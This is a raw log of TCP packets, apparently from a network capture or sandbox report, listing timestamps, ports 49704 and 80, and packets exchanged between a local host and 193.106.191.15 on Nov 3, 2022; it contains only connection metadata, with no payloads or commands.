Nov 3, 2022 12:46:56.584661007 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.584738970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584759951 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584775925 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584793091 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584800005 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.584852934 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.584911108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584929943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584947109 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584964037 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.584980965 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.584994078 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.585264921 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585285902 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585304976 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585350990 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.585468054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585486889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585505009 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585521936 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585540056 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585556984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585557938 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.585557938 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.585575104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585576057 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.585593939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585613012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585619926 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.585632086 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585649014 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585665941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585668087 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.585684061 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585691929 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.585730076 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.585796118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585813046 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585829973 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585848093 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585865974 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.585889101 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.585932970 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.585987091 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586018085 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586035967 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586051941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586057901 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.586070061 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586086988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586102009 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.586102962 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586136103 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.586143017 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586149931 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.586159945 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586174011 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586227894 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.586323023 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586340904 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586359978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586396933 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.586414099 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.586504936 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586523056 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586536884 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586553097 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586570024 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586580038 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.586587906 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586607933 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.586626053 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.586688042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586707115 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586724997 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586741924 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586759090 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586765051 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.586776972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586815119 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.586837053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.586870909 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.587040901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587064981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587083101 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587089062 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.587100029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587126017 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587177992 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.587177992 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.587220907 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587239027 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587255955 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587272882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587286949 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.587290049 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587310076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587321997 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.587373972 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.587378979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587398052 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587415934 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587434053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587459087 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.587491035 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.587539911 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587559938 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587624073 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.587734938 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587754965 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587771893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587789059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587799072 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:56.587805033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:56.587850094 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.322535992 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.322714090 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.379368067 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.389465094 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.495071888 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.495121002 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.552047014 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562592983 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562623024 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562639952 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562659979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562676907 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562695026 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562712908 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562730074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562747955 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562748909 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.562766075 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562783003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562799931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562818050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562834978 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.562865019 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.562906981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562926054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562942982 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562949896 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.562959909 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562978983 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.562985897 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.563011885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.563020945 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.563029051 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.563076019 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.563148975 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619448900 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619482040 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619499922 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619515896 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619534016 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619551897 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619569063 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619585991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619604111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619606018 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.619620085 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619637966 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619654894 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619683981 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.619683981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619702101 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619718075 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619734049 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.619757891 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.619787931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619806051 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619822979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.619851112 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.619985104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620002985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620019913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620022058 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.620037079 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620053053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620054960 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.620069981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620086908 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.620173931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620192051 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620208025 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620208979 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.620240927 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.620335102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620351076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620368958 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620383978 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.620506048 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620522022 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620538950 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620539904 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.620558023 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620573997 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.620575905 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620593071 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620608091 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.620702028 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620718956 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620734930 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.620737076 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.620769024 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.676328897 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676354885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676373959 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676392078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676414013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676434040 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676453114 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676470041 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676472902 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.676487923 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676506042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676522017 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676537991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676551104 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.676578045 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.676675081 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676692963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676711082 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676747084 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.676755905 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676773071 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676789999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676791906 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.676806927 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676826954 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.676837921 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676855087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676872015 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676875114 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.676888943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676907063 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.676907063 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.676939964 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.677072048 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677089930 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677107096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677131891 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.677196026 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677215099 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677232027 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677352905 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.677365065 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677381992 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677398920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677414894 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677432060 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677448034 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677448988 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.677476883 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.677501917 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.677568913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677584887 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677601099 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677670002 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.677731991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677748919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677767038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677870989 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677886963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677901030 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.677906036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677923918 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677927971 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.677942038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677958965 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.677968025 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.677999973 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.678082943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678100109 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678117037 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678225040 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.678258896 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678277016 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678293943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678421021 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678438902 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678456068 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678472042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678488016 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678504944 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678592920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678611040 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678627968 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678797960 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.678802013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678818941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678836107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678890944 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678914070 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678930998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678947926 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678966045 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.678983927 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.679121017 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.679137945 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.679155111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.679280043 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.679296970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.679312944 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.679389000 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.679399014 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.679415941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.679433107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.679934978 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.733155012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733181953 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733202934 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733221054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733237028 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733253956 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733263016 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.733273029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733289003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733305931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733321905 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733328104 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.733339071 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733351946 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.733356953 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733378887 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.733434916 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733452082 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733469009 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733470917 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.733508110 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.733583927 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733601093 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733618021 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733633995 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733633995 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.733650923 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733666897 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.733666897 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.733700037 CET	49704	80	192.168.2.6	193.106.191.15
